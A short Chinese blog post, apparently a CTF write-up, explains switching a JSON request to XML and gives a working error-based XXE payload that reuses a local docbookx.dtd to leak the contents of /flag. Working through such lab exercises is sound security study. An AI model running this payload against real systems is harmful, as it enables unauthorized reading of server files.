抓包发现传参json格式的数据,可以尝试xxe
先把content-type改为application/xml,再把json格式的数据改为xml格式的数据
最终poc:
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
原创文章,作者:Carrie001128,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/277105.html